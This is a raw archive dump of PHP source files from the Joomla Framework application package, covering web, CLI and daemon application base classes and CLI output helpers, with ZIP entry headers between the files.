$this->input->server->getString('HTTP_X_FORWARDED_PROTO', ''); return !empty($serverForwarderProtoVar) && strtolower($serverForwarderProtoVar) === 'https'; } /** * Sets the session for the application to use, if required. * * @param Session $session A session object. * * @return AbstractWebApplication Returns itself to support chaining. * * @since 1.0 */ public function setSession(Session $session) { $this->session = $session; return $this; } /** * Method to load the system URI strings for the application. * * @param string $requestUri An optional request URI to use instead of detecting one from the * server environment variables. * * @return void * * @since 1.0 */ protected function loadSystemUris($requestUri = null) { // Set the request URI. // @codeCoverageIgnoreStart if (!empty($requestUri)) { $this->set('uri.request', $requestUri); } else { $this->set('uri.request', $this->detectRequestUri()); } // @codeCoverageIgnoreEnd // Check to see if an explicit base URI has been set. $siteUri = trim($this->get('site_uri')); if ($siteUri != '') { $uri = new Uri($siteUri); $path = $uri->toString(array('path')); } else { // No explicit base URI was set so we need to detect it. Start with the requested URI. $uri = new Uri($this->get('uri.request')); $requestUri = $this->input->server->getString('REQUEST_URI', ''); // If we are working from a CGI SAPI with the 'cgi.fix_pathinfo' directive disabled we use PHP_SELF. if (strpos(PHP_SAPI, 'cgi') !== false && !ini_get('cgi.fix_pathinfo') && !empty($requestUri)) { // We aren't expecting PATH_INFO within PHP_SELF so this should work. $path = \dirname($this->input->server->getString('PHP_SELF', '')); } else { // Pretty much everything else should be handled with SCRIPT_NAME. $path = \dirname($this->input->server->getString('SCRIPT_NAME', '')); } } // Get the host from the URI. $host = $uri->toString(array('scheme', 'user', 'pass', 'host', 'port')); // Check if the path includes "index.php". if (strpos($path, 'index.php') !== false) { // Remove the index.php portion of the path. $path = substr_replace($path, '', strpos($path, 'index.php'), 9); } $path = rtrim($path, '/\\'); // Set the base URI both as just a path and as the full URI. $this->set('uri.base.full', $host . $path . '/'); $this->set('uri.base.host', $host); $this->set('uri.base.path', $path . '/'); // Set the extended (non-base) part of the request URI as the route. if (stripos($this->get('uri.request'), $this->get('uri.base.full')) === 0) { $this->set('uri.route', substr_replace($this->get('uri.request'), '', 0, \strlen($this->get('uri.base.full')))); } // Get an explicitly set media URI is present. $mediaURI = trim($this->get('media_uri')); if ($mediaURI) { if (strpos($mediaURI, '://') !== false) { $this->set('uri.media.full', $mediaURI); $this->set('uri.media.path', $mediaURI); } else { // Normalise slashes. $mediaURI = trim($mediaURI, '/\\'); $mediaURI = !empty($mediaURI) ? '/' . $mediaURI . '/' : '/'; $this->set('uri.media.full', $this->get('uri.base.host') . $mediaURI); $this->set('uri.media.path', $mediaURI); } } else { // No explicit media URI was set, build it dynamically from the base uri. $this->set('uri.media.full', $this->get('uri.base.full') . 'media/'); $this->set('uri.media.path', $this->get('uri.base.path') . 'media/'); } } /** * Checks for a form token in the request. * * Use in conjunction with getFormToken. * * @param string $method The request method in which to look for the token key. * * @return boolean True if found and valid, false otherwise. * * @since 1.0 */ public function checkToken($method = 'post') { $token = $this->getFormToken(); if (!$this->input->$method->get($token, '', 'alnum')) { if ($this->getSession()->isNew()) { // Redirect to login screen. $this->redirect('index.php'); $this->close(); } else { return false; } } else { return true; } } /** * Method to determine a hash for anti-spoofing variable names * * @param boolean $forceNew If true, force a new token to be created * * @return string Hashed var name * * @since 1.0 */ public function getFormToken($forceNew = false) { // @todo we need the user id somehow here $userId = 0; return md5($this->get('secret') . $userId . $this->getSession()->getToken($forceNew)); } /** * Tests whether a string contains only 7bit ASCII bytes. * * You might use this to conditionally check whether a string * needs handling as UTF-8 or not, potentially offering performance * benefits by using the native PHP equivalent if it's just ASCII e.g.; * * @param string $str The string to test. * * @return boolean True if the string is all ASCII * * @since 1.4.0 */ public static function isAscii($str) { // Search for any bytes which are outside the ASCII range... return preg_match('/(?:[^\x00-\x7F])/', $str) !== 1; } } PKÜ�\����(a(a;vendor/joomla/application/src/AbstractDaemonApplication.phpnu�[���<?php /** * Part of the Joomla Framework Application Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Application; use Joomla\Input; use Joomla\Registry\Registry; use Psr\Log\LoggerAwareInterface; /** * Class to turn Cli applications into daemons. It requires CLI and PCNTL support built into PHP. * * @link https://www.php.net/manual/en/book.pcntl.php * @link https://www.php.net/manual/en/features.commandline.php * @since 1.0 * @deprecated 2.0 Deprecated without replacement */ abstract class AbstractDaemonApplication extends AbstractCliApplication implements LoggerAwareInterface { /** * @var array The available POSIX signals to be caught by default. * @link https://www.php.net/manual/pcntl.constants.php * @since 1.0 */ protected static $signals = array( 'SIGHUP', 'SIGINT', 'SIGQUIT', 'SIGILL', 'SIGTRAP', 'SIGABRT', 'SIGIOT', 'SIGBUS', 'SIGFPE', 'SIGUSR1', 'SIGSEGV', 'SIGUSR2', 'SIGPIPE', 'SIGALRM', 'SIGTERM', 'SIGSTKFLT', 'SIGCLD', 'SIGCHLD', 'SIGCONT', 'SIGTSTP', 'SIGTTIN', 'SIGTTOU', 'SIGURG', 'SIGXCPU', 'SIGXFSZ', 'SIGVTALRM', 'SIGPROF', 'SIGWINCH', 'SIGPOLL', 'SIGIO', 'SIGPWR', 'SIGSYS', 'SIGBABY', 'SIG_BLOCK', 'SIG_UNBLOCK', 'SIG_SETMASK', ); /** * @var boolean True if the daemon is in the process of exiting. * @since 1.0 */ protected $exiting = false; /** * @var integer The parent process id. * @since 1.0 */ protected $parentId = 0; /** * @var integer The process id of the daemon. * @since 1.0 */ protected $processId = 0; /** * @var boolean True if the daemon is currently running. * @since 1.0 */ protected $running = false; /** * Class constructor. * * @param Input\Cli $input An optional argument to provide dependency injection for the application's input object. If the * argument is an Input\Cli object that object will become the application's input object, otherwise * a default input object is created. * @param Registry $config An optional argument to provide dependency injection for the application's config object. If the * argument is a Registry object that object will become the application's config object, otherwise * a default config object is created. * @param Cli\CliOutput $output An optional argument to provide dependency injection for the application's output object. If the * argument is a Cli\CliOutput object that object will become the application's input object, otherwise * a default output object is created. * @param Cli\CliInput $cliInput An optional argument to provide dependency injection for the application's CLI input object. If the * argument is a Cli\CliInput object that object will become the application's input object, otherwise * a default input object is created. * * @since 1.0 */ public function __construct(Cli $input = null, Registry $config = null, Cli\CliOutput $output = null, Cli\CliInput $cliInput = null) { // Verify that the process control extension for PHP is available. // @codeCoverageIgnoreStart if (!\defined('SIGHUP')) { $this->getLogger()->error('The PCNTL extension for PHP is not available.'); throw new \RuntimeException('The PCNTL extension for PHP is not available.'); } // Verify that POSIX support for PHP is available. if (!\function_exists('posix_getpid')) { $this->getLogger()->error('The POSIX extension for PHP is not available.'); throw new \RuntimeException('The POSIX extension for PHP is not available.'); } // @codeCoverageIgnoreEnd // Call the parent constructor. parent::__construct($input, $config, $output, $cliInput); // Set some system limits. @set_time_limit($this->get('max_execution_time', 0)); if ($this->get('max_memory_limit') !== null) { ini_set('memory_limit', $this->get('max_memory_limit', '256M')); } // Flush content immediately. ob_implicit_flush(); } /** * Method to handle POSIX signals. * * @param integer $signal The received POSIX signal. * * @return void * * @since 1.0 * @see pcntl_signal() * @throws \RuntimeException */ public function signal($signal) { // Log all signals sent to the daemon. $this->getLogger()->debug('Received signal: ' . $signal); // Let's make sure we have an application instance. if (!is_subclass_of($this, __CLASS__)) { $this->getLogger()->emergency('Cannot find the application instance.'); throw new \RuntimeException('Cannot find the application instance.'); } // @event onReceiveSignal switch ($signal) { case SIGINT: case SIGTERM: // Handle shutdown tasks if ($this->running && $this->isActive()) { $this->shutdown(); } else { $this->close(); } break; case SIGHUP: // Handle restart tasks if ($this->running && $this->isActive()) { $this->shutdown(true); } else { $this->close(); } break; case SIGCHLD: // A child process has died while ($this->pcntlWait($signal, WNOHANG || WUNTRACED) > 0) { usleep(1000); } break; case SIGCLD: while ($this->pcntlWait($signal, WNOHANG) > 0) { $signal = $this->pcntlChildExitStatus($signal); } break; default: break; } } /** * Check to see if the daemon is active. This does not assume that $this daemon is active, but * only if an instance of the application is active as a daemon. * * @return boolean True if daemon is active. * * @since 1.0 */ public function isActive() { // Get the process id file location for the application. $pidFile = $this->get('application_pid_file'); // If the process id file doesn't exist then the daemon is obviously not running. if (!is_file($pidFile)) { return false; } // Read the contents of the process id file as an integer. $fp = fopen($pidFile, 'r'); $pid = fread($fp, filesize($pidFile)); $pid = (int) $pid; fclose($fp); // Check to make sure that the process id exists as a positive integer. if (!$pid) { return false; } // Check to make sure the process is active by pinging it and ensure it responds. if (!posix_kill($pid, 0)) { // No response so remove the process id file and log the situation. @ unlink($pidFile); $this->getLogger()->warning('The process found based on PID file was unresponsive.'); return false; } return true; } /** * Load an object or array into the application configuration object. * * @param mixed $data Either an array or object to be loaded into the configuration object. * * @return AbstractDaemonApplication Instance of $this to allow chaining. * * @since 1.0 */ public function loadConfiguration($data) { /* * Setup some application metadata options. This is useful if we ever want to write out startup scripts * or just have some sort of information available to share about things. */ // The application author name. This string is used in generating startup scripts and has // a maximum of 50 characters. $tmp = (string) $this->get('author_name', 'Joomla Framework'); $this->set('author_name', (\strlen($tmp) > 50) ? substr($tmp, 0, 50) : $tmp); // The application author email. This string is used in generating startup scripts. $tmp = (string) $this->get('author_email', 'admin@joomla.org'); $this->set('author_email', filter_var($tmp, FILTER_VALIDATE_EMAIL)); // The application name. This string is used in generating startup scripts. $tmp = (string) $this->get('application_name', 'JApplicationDaemon'); $this->set('application_name', (string) preg_replace('/[^A-Z0-9_-]/i', '', $tmp)); // The application description. This string is used in generating startup scripts. $tmp = (string) $this->get('application_description', 'A generic Joomla Framework application.'); $this->set('application_description', filter_var($tmp, FILTER_SANITIZE_STRING)); /* * Setup the application path options. This defines the default executable name, executable directory, * and also the path to the daemon process id file. */ // The application executable daemon. This string is used in generating startup scripts. $tmp = (string) $this->get('application_executable', basename($this->input->executable)); $this->set('application_executable', $tmp); // The home directory of the daemon. $tmp = (string) $this->get('application_directory', \dirname($this->input->executable)); $this->set('application_directory', $tmp); // The pid file location. This defaults to a path inside the /tmp directory. $name = $this->get('application_name'); $tmp = (string) $this->get('application_pid_file', strtolower('/tmp/' . $name . '/' . $name . '.pid')); $this->set('application_pid_file', $tmp); /* * Setup the application identity options. It is important to remember if the default of 0 is set for * either UID or GID then changing that setting will not be attempted as there is no real way to "change" * the identity of a process from some user to root. */ // The user id under which to run the daemon. $tmp = (int) $this->get('application_uid', 0); $options = array('options' => array('min_range' => 0, 'max_range' => 65000)); $this->set('application_uid', filter_var($tmp, FILTER_VALIDATE_INT, $options)); // The group id under which to run the daemon. $tmp = (int) $this->get('application_gid', 0); $options = array('options' => array('min_range' => 0, 'max_range' => 65000)); $this->set('application_gid', filter_var($tmp, FILTER_VALIDATE_INT, $options)); // Option to kill the daemon if it cannot switch to the chosen identity. $tmp = (bool) $this->get('application_require_identity', 1); $this->set('application_require_identity', $tmp); /* * Setup the application runtime options. By default our execution time limit is infinite obviously * because a daemon should be constantly running unless told otherwise. The default limit for memory * usage is 128M, which admittedly is a little high, but remember it is a "limit" and PHP's memory * management leaves a bit to be desired :-) */ // The maximum execution time of the application in seconds. Zero is infinite. $tmp = $this->get('max_execution_time'); if ($tmp !== null) { $this->set('max_execution_time', (int) $tmp); } // The maximum amount of memory the application can use. $tmp = $this->get('max_memory_limit', '256M'); if ($tmp !== null) { $this->set('max_memory_limit', (string) $tmp); } return $this; } /** * Execute the daemon. * * @return void * * @since 1.0 */ public function execute() { // @event onBeforeExecute // Enable basic garbage collection. gc_enable(); $this->getLogger()->info('Starting ' . $this->name); // Set off the process for becoming a daemon. if ($this->daemonize()) { // Declare ticks to start signal monitoring. When you declare ticks, PCNTL will monitor // incoming signals after each tick and call the relevant signal handler automatically. declare(ticks = 1); // Start the main execution loop. while (true) { // Perform basic garbage collection. $this->gc(); // Don't completely overload the CPU. usleep(1000); // Execute the main application logic. $this->doExecute(); } } else { // We were not able to daemonize the application so log the failure and die gracefully. $this->getLogger()->info('Starting ' . $this->name . ' failed'); } // @event onAfterExecute } /** * Restart daemon process. * * @return void * * @codeCoverageIgnore * @since 1.0 */ public function restart() { $this->getLogger()->info('Stopping ' . $this->name); $this->shutdown(true); } /** * Stop daemon process. * * @return void * * @codeCoverageIgnore * @since 1.0 */ public function stop() { $this->getLogger()->info('Stopping ' . $this->name); $this->shutdown(); } /** * Method to change the identity of the daemon process and resources. * * @return boolean True if identity successfully changed * * @since 1.0 * @see posix_setuid() */ protected function changeIdentity() { // Get the group and user ids to set for the daemon. $uid = (int) $this->get('application_uid', 0); $gid = (int) $this->get('application_gid', 0); // Get the application process id file path. $file = $this->get('application_pid_file'); // Change the user id for the process id file if necessary. if ($uid && (fileowner($file) != $uid) && (!@ chown($file, $uid))) { $this->getLogger()->error('Unable to change user ownership of the process id file.'); return false; } // Change the group id for the process id file if necessary. if ($gid && (filegroup($file) != $gid) && (!@ chgrp($file, $gid))) { $this->getLogger()->error('Unable to change group ownership of the process id file.'); return false; } // Set the correct home directory for the process. if ($uid && ($info = posix_getpwuid($uid)) && is_dir($info['dir'])) { system('export HOME="' . $info['dir'] . '"'); } // Change the user id for the process necessary. if ($uid && (posix_getuid($file) != $uid) && (!@ posix_setuid($uid))) { $this->getLogger()->error('Unable to change user ownership of the proccess.'); return false; } // Change the group id for the process necessary. if ($gid && (posix_getgid($file) != $gid) && (!@ posix_setgid($gid))) { $this->getLogger()->error('Unable to change group ownership of the proccess.'); return false; } // Get the user and group information based on uid and gid. $user = posix_getpwuid($uid); $group = posix_getgrgid($gid); $this->getLogger()->info('Changed daemon identity to ' . $user['name'] . ':' . $group['name']); return true; } /** * Method to put the application into the background. * * @return boolean * * @since 1.0 * @throws \RuntimeException */ protected function daemonize() { // Is there already an active daemon running? if ($this->isActive()) { $this->getLogger()->emergency($this->name . ' daemon is still running. Exiting the application.'); return false; } // Reset Process Information $this->safeMode = !!@ ini_get('safe_mode'); $this->processId = 0; $this->running = false; // Detach process! try { // Check if we should run in the foreground. if (!$this->input->get('f')) { // Detach from the terminal. $this->detach(); } else { // Setup running values. $this->exiting = false; $this->running = true; // Set the process id. $this->processId = (int) posix_getpid(); $this->parentId = $this->processId; } } catch (\RuntimeException $e) { $this->getLogger()->emergency('Unable to fork.'); return false; } // Verify the process id is valid. if ($this->processId < 1) { $this->getLogger()->emergency('The process id is invalid; the fork failed.'); return false; } // Clear the umask. @ umask(0); // Write out the process id file for concurrency management. if (!$this->writeProcessIdFile()) { $this->getLogger()->emergency('Unable to write the pid file at: ' . $this->get('application_pid_file')); return false; } // Attempt to change the identity of user running the process. if (!$this->changeIdentity()) { // If the identity change was required then we need to return false. if ($this->get('application_require_identity')) { $this->getLogger()->critical('Unable to change process owner.'); return false; } $this->getLogger()->warning('Unable to change process owner.'); } // Setup the signal handlers for the daemon. if (!$this->setupSignalHandlers()) { return false; } // Change the current working directory to the application working directory. @ chdir($this->get('application_directory')); return true; } /** * This is truly where the magic happens. This is where we fork the process and kill the parent * process, which is essentially what turns the application into a daemon. * * @return void * * @since 1.0 * @throws \RuntimeException */ protected function detach() { $this->getLogger()->debug('Detaching the ' . $this->name . ' daemon.'); // Attempt to fork the process. $pid = $this->fork(); // If the pid is positive then we successfully forked, and can close this application. if ($pid) { // Add the log entry for debugging purposes and exit gracefully. $this->getLogger()->debug('Ending ' . $this->name . ' parent process'); $this->close(); } else { // We are in the forked child process. // Setup some protected values. $this->exiting = false; $this->running = true; // Set the parent to self. $this->parentId = $this->processId; } } /** * Method to fork the process. * * @return integer The child process id to the parent process, zero to the child process. * * @since 1.0 * @throws \RuntimeException */ protected function fork() { // Attempt to fork the process. $pid = $this->pcntlFork(); // If the fork failed, throw an exception. if ($pid === -1) { throw new \RuntimeException('The process could not be forked.'); } if ($pid === 0) { // Update the process id for the child. $this->processId = (int) posix_getpid(); } else { // Log the fork in the parent. $this->getLogger()->debug('Process forked ' . $pid); } // Trigger the onFork event. $this->postFork(); return $pid; } /** * Method to perform basic garbage collection and memory management in the sense of clearing the * stat cache. We will probably call this method pretty regularly in our main loop. * * @return void * * @codeCoverageIgnore * @since 1.0 */ protected function gc() { // Perform generic garbage collection. gc_collect_cycles(); // Clear the stat cache so it doesn't blow up memory. clearstatcache(); } /** * Method to attach the AbstractDaemonApplication signal handler to the known signals. Applications * can override these handlers by using the pcntl_signal() function and attaching a different * callback method. * * @return boolean * * @since 1.0 * @see pcntl_signal() */ protected function setupSignalHandlers() { // We add the error suppression for the loop because on some platforms some constants are not defined. foreach (self::$signals as $signal) { // Ignore signals that are not defined. if (!\defined($signal) || !\is_int(\constant($signal)) || (\constant($signal) === 0)) { // Define the signal to avoid notices. $this->getLogger()->debug('Signal "' . $signal . '" not defined. Defining it as null.'); \define($signal, null); // Don't listen for signal. continue; } // Attach the signal handler for the signal. if (!$this->pcntlSignal(\constant($signal), array($this, 'signal'))) { $this->getLogger()->emergency(sprintf('Unable to reroute signal handler: %s', $signal)); return false; } } return true; } /** * Method to shut down the daemon and optionally restart it. * * @param boolean $restart True to restart the daemon on exit. * * @return void * * @since 1.0 */ protected function shutdown($restart = false) { // If we are already exiting, chill. if ($this->exiting) { return; } // If not, now we are. $this->exiting = true; // If we aren't already daemonized then just kill the application. if (!$this->running && !$this->isActive()) { $this->getLogger()->info('Process was not daemonized yet, just halting current process'); $this->close(); } // Only read the pid for the parent file. if ($this->parentId == $this->processId) { // Read the contents of the process id file as an integer. $fp = fopen($this->get('application_pid_file'), 'r'); $pid = fread($fp, filesize($this->get('application_pid_file'))); $pid = (int) $pid; fclose($fp); // Remove the process id file. @ unlink($this->get('application_pid_file')); // If we are supposed to restart the daemon we need to execute the same command. if ($restart) { $this->close(exec(implode(' ', $GLOBALS['argv']) . ' > /dev/null &')); } else { // If we are not supposed to restart the daemon let's just kill -9. passthru('kill -9 ' . $pid); $this->close(); } } } /** * Method to write the process id file out to disk. * * @return boolean * * @since 1.0 */ protected function writeProcessIdFile() { // Verify the process id is valid. if ($this->processId < 1) { $this->getLogger()->emergency('The process id is invalid.'); return false; } // Get the application process id file path. $file = $this->get('application_pid_file'); if (empty($file)) { $this->getLogger()->error('The process id file path is empty.'); return false; } // Make sure that the folder where we are writing the process id file exists. $folder = \dirname($file); if (!is_dir($folder) && !@ mkdir($folder, $this->get('folder_permission', 0755))) { $this->getLogger()->error('Unable to create directory: ' . $folder); return false; } // Write the process id file out to disk. if (!file_put_contents($file, $this->processId)) { $this->getLogger()->error('Unable to write proccess id file: ' . $file); return false; } // Make sure the permissions for the proccess id file are accurate. if (!chmod($file, $this->get('file_permission', 0644))) { $this->getLogger()->error('Unable to adjust permissions for the proccess id file: ' . $file); return false; } return true; } /** * Method to handle post-fork triggering of the onFork event. * * @return void * * @since 1.0 */ protected function postFork() { // @event onFork } /** * Method to return the exit code of a terminated child process. * * @param integer $status The status parameter is the status parameter supplied to a successful call to pcntl_waitpid(). * * @return integer The child process exit code. * * @codeCoverageIgnore * @see pcntl_wexitstatus() * @since 1.0 */ protected function pcntlChildExitStatus($status) { return pcntl_wexitstatus($status); } /** * Method to return the exit code of a terminated child process. * * @return integer On success, the PID of the child process is returned in the parent's thread * of execution, and a 0 is returned in the child's thread of execution. On * failure, a -1 will be returned in the parent's context, no child process * will be created, and a PHP error is raised. * * @codeCoverageIgnore * @see pcntl_fork() * @since 1.0 */ protected function pcntlFork() { return pcntl_fork(); } /** * Method to install a signal handler. * * @param integer $signal The signal number. * @param callable $handler The signal handler which may be the name of a user created function, * or method, or either of the two global constants SIG_IGN or SIG_DFL. * @param boolean $restart Specifies whether system call restarting should be used when this * signal arrives. * * @return boolean True on success. * * @codeCoverageIgnore * @see pcntl_signal() * @since 1.0 */ protected function pcntlSignal($signal, $handler, $restart = true) { return pcntl_signal($signal, $handler, $restart); } /** * Method to wait on or return the status of a forked child. * * @param integer $status Status information. * @param integer $options If wait3 is available on your system (mostly BSD-style systems), * you can provide the optional options parameter. * * @return integer The process ID of the child which exited, -1 on error or zero if WNOHANG * was provided as an option (on wait3-available systems) and no child was available. * * @codeCoverageIgnore * @see pcntl_wait() * @since 1.0 */ protected function pcntlWait(&$status, $options = 0) { return pcntl_wait($status, $options); } } PKÜ�\q�Z��5vendor/joomla/application/src/AbstractApplication.phpnu�[���<?php /** * Part of the Joomla Framework Application Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Application; use Joomla\Input\Input; use Joomla\Registry\Registry; use Psr\Log\LoggerAwareInterface; use Psr\Log\LoggerInterface; use Psr\Log\NullLogger; /** * Joomla Framework Base Application Class * * @since 1.0 */ abstract class AbstractApplication implements LoggerAwareInterface { /** * The application configuration object. * * @var Registry * @since 1.0 */ protected $config; /** * The application input object. * * @var Input * @since 1.0 */ public $input; /** * A logger. * * @var LoggerInterface * @since 1.0 */ private $logger; /** * Class constructor. * * @param Input $input An optional argument to provide dependency injection for the application's input object. If the argument is an * Input object that object will become the application's input object, otherwise a default input object is created. * @param Registry $config An optional argument to provide dependency injection for the application's config object. If the argument * is a Registry object that object will become the application's config object, otherwise a default config * object is created. * * @since 1.0 */ public function __construct(Input $input = null, Registry $config = null) { $this->input = $input instanceof Input ? $input : new Input; $this->config = $config instanceof Registry ? $config : new Registry; // Set the execution datetime and timestamp; $this->set('execution.datetime', gmdate('Y-m-d H:i:s')); $this->set('execution.timestamp', time()); $this->set('execution.microtimestamp', microtime(true)); $this->initialise(); } /** * Method to close the application. * * @param integer $code The exit code (optional; default is 0). * * @return void * * @codeCoverageIgnore * @since 1.0 */ public function close($code = 0) { exit($code); } /** * Method to run the application routines. Most likely you will want to instantiate a controller * and execute it, or perform some sort of task directly. * * @return mixed * * @since 1.0 */ abstract protected function doExecute(); /** * Execute the application. * * @return void * * @since 1.0 */ public function execute() { // @event onBeforeExecute // Perform application routines. $this->doExecute(); // @event onAfterExecute } /** * Returns a property of the object or the default value if the property is not set. * * @param string $key The name of the property. * @param mixed $default The default value (optional) if none is set. * * @return mixed The value of the configuration. * * @since 1.0 */ public function get($key, $default = null) { return $this->config->get($key, $default); } /** * Get the logger. * * @return LoggerInterface * * @since 1.0 */ public function getLogger() { // If a logger hasn't been set, use NullLogger if (! ($this->logger instanceof LoggerInterface)) { $this->logger = new NullLogger; } return $this->logger; } /** * Custom initialisation method. * * Called at the end of the AbstractApplication::__construct method. * This is for developers to inject initialisation code for their application classes. * * @return void * * @codeCoverageIgnore * @since 1.0 */ protected function initialise() { } /** * Modifies a property of the object, creating it if it does not already exist. * * @param string $key The name of the property. * @param mixed $value The value of the property to set (optional). * * @return mixed Previous value of the property * * @since 1.0 */ public function set($key, $value = null) { $previous = $this->config->get($key); $this->config->set($key, $value); return $previous; } /** * Sets the configuration for the application. * * @param Registry $config A registry object holding the configuration. * * @return AbstractApplication Returns itself to support chaining. * * @since 1.0 */ public function setConfiguration(Registry $config) { $this->config = $config; return $this; } /** * Set the logger. * * @param LoggerInterface $logger The logger. * * @return AbstractApplication Returns itself to support chaining. * * @since 1.0 */ public function setLogger(LoggerInterface $logger) { $this->logger = $logger; return $this; } } PKÜ�\N�K�YY8vendor/joomla/application/src/AbstractCliApplication.phpnu�[���<?php /** * Part of the Joomla Framework Application Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Application; use Joomla\Input; use Joomla\Registry\Registry; /** * Base class for a Joomla! command line application. * * @since 1.0 * @deprecated 2.0 Use the `joomla/console` package instead */ abstract class AbstractCliApplication extends AbstractApplication { /** * Output object * * @var Cli\CliOutput * @since 1.0 */ protected $output; /** * CLI Input object * * @var Cli\CliInput * @since 1.6.0 */ protected $cliInput; /** * Class constructor. * * @param Input\Cli $input An optional argument to provide dependency injection for the application's input object. If the * argument is an Input\Cli object that object will become the application's input object, otherwise * a default input object is created. * @param Registry $config An optional argument to provide dependency injection for the application's config object. If the * argument is a Registry object that object will become the application's config object, otherwise * a default config object is created. * @param Cli\CliOutput $output An optional argument to provide dependency injection for the application's output object. If the * argument is a Cli\CliOutput object that object will become the application's input object, otherwise * a default output object is created. * @param Cli\CliInput $cliInput An optional argument to provide dependency injection for the application's CLI input object. If the * argument is a Cli\CliInput object that object will become the application's input object, otherwise * a default input object is created. * * @since 1.0 */ public function __construct(Input\Cli $input = null, Registry $config = null, Cli\CliOutput $output = null, Cli\CliInput $cliInput = null) { // Close the application if we are not executed from the command line. // @codeCoverageIgnoreStart if (!\defined('STDOUT') || !\defined('STDIN') || !isset($_SERVER['argv'])) { $this->close(); } // @codeCoverageIgnoreEnd $this->output = ($output instanceof Cli\CliOutput) ? $output : new Cli\Output\Stdout; // Set the CLI input object. $this->cliInput = ($cliInput instanceof Cli\CliInput) ? $cliInput : new Cli\CliInput; // Call the constructor as late as possible (it runs `initialise`). parent::__construct($input instanceof Input\Input ? $input : new Input\Cli, $config); // Set the current directory. $this->set('cwd', getcwd()); } /** * Get an output object. * * @return Cli\CliOutput * * @since 1.0 */ public function getOutput() { return $this->output; } /** * Get a CLI input object. * * @return Cli\CliInput * * @since 1.6.0 */ public function getCliInput() { return $this->cliInput; } /** * Write a string to standard output. * * @param string $text The text to display. * @param boolean $nl True (default) to append a new line at the end of the output string. * * @return AbstractCliApplication Instance of $this to allow chaining. * * @since 1.0 */ public function out($text = '', $nl = true) { $this->getOutput()->out($text, $nl); return $this; } /** * Get a value from standard input. * * @return string The input string from standard input. * * @codeCoverageIgnore * @since 1.0 */ public function in() { return $this->getCliInput()->in(); } } PKÜ�\�tt.vendor/joomla/application/src/Cli/CliInput.phpnu�[���<?php /** * Part of the Joomla Framework Application Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Application\Cli; /** * Class CliInput * * @since 1.6.0 * @deprecated 2.0 Use the `joomla/console` package instead */ class CliInput { /** * Get a value from standard input. * * @return string The input string from standard input. * * @codeCoverageIgnore * @since 1.6.0 */ public function in() { return rtrim(fread(STDIN, 8192), "\n\r"); } } PKÜ�\��6�QQ0vendor/joomla/application/src/Cli/Output/Xml.phpnu�[���<?php /** * Part of the Joomla Framework Application Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Application\Cli\Output; use Joomla\Application\Cli\CliOutput; /** * Class Xml. * * @since 1.0 * @deprecated 2.0 Use the `joomla/console` package instead */ class Xml extends CliOutput { /** * Write a string to standard output. * * @param string $text The text to display. * @param boolean $nl True (default) to append a new line at the end of the output string. * * @return void * * @since 1.0 * @throws \RuntimeException * @codeCoverageIgnore */ public function out($text = '', $nl = true) { fwrite(STDOUT, $text . ($nl ? "\n" : null)); } } PKÜ�\�V�ggEvendor/joomla/application/src/Cli/Output/Processor/ColorProcessor.phpnu�[���<?php /** * Part of the Joomla Framework Application Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Application\Cli\Output\Processor; use Joomla\Application\Cli\ColorStyle; use Joomla\Application\Cli\Output\Stdout; /** * Class ColorProcessor. * * @since 1.0 * @deprecated 2.0 Use the `joomla/console` package instead */ class ColorProcessor implements ProcessorInterface { /** * Flag to remove color codes from the output * * @var boolean * @since 1.0 */ public $noColors = false; /** * Regex to match tags * * @var string * @since 1.0 */ protected $tagFilter = '/<([a-z=;]+)>(.*?)<\/\\1>/s'; /** * Regex used for removing color codes * * @var string * @since 1.0 */ protected static $stripFilter = '/<[\/]?[a-z=;]+>/'; /** * Array of ColorStyle objects * * @var array * @since 1.0 */ protected $styles = array(); /** * Class constructor * * @param boolean $noColors Defines non-colored mode on construct * * @since 1.1.0 */ public function __construct($noColors = null) { if ($noColors === null) { /* * By default windows cmd.exe and PowerShell does not support ANSI-colored output * if the variable is not set explicitly colors should be disabled on Windows */ $noColors = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'); } $this->noColors = $noColors; $this->addPredefinedStyles(); } /** * Add a style. * * @param string $name The style name. * @param ColorStyle $style The color style. * * @return ColorProcessor Instance of $this to allow chaining. * * @since 1.0 */ public function addStyle($name, ColorStyle $style) { $this->styles[$name] = $style; return $this; } /** * Strip color tags from a string. * * @param string $string The string. * * @return string * * @since 1.0 */ public static function stripColors($string) { return preg_replace(static::$stripFilter, '', $string); } /** * Process a string. * * @param string $string The string to process. * * @return string * * @since 1.0 */ public function process($string) { preg_match_all($this->tagFilter, $string, $matches); if (!$matches) { return $string; } foreach ($matches[0] as $i => $m) { if (array_key_exists($matches[1][$i], $this->styles)) { $string = $this->replaceColors($string, $matches[1][$i], $matches[2][$i], $this->styles[$matches[1][$i]]); } // Custom format elseif (strpos($matches[1][$i], '=')) { $string = $this->replaceColors($string, $matches[1][$i], $matches[2][$i], ColorStyle::fromString($matches[1][$i])); } } return $string; } /** * Replace color tags in a string. * * @param string $text The original text. * @param string $tag The matched tag. * @param string $match The match. * @param ColorStyle $style The color style to apply. * * @return string * * @since 1.0 */ private function replaceColors($text, $tag, $match, Colorstyle $style) { $replace = $this->noColors ? $match : "\033[" . $style . 'm' . $match . "\033[0m"; return str_replace('<' . $tag . '>' . $match . '</' . $tag . '>', $replace, $text); } /** * Adds predefined color styles to the ColorProcessor object * * @return Stdout Instance of $this to allow chaining. * * @since 1.0 */ private function addPredefinedStyles() { $this->addStyle( 'info', new ColorStyle('green', '', array('bold')) ); $this->addStyle( 'comment', new ColorStyle('yellow', '', array('bold')) ); $this->addStyle( 'question', new ColorStyle('black', 'cyan') ); $this->addStyle( 'error', new ColorStyle('white', 'red') ); return $this; } } PKÜ�\?<N}}Ivendor/joomla/application/src/Cli/Output/Processor/ProcessorInterface.phpnu�[���<?php /** * Part of the Joomla Framework 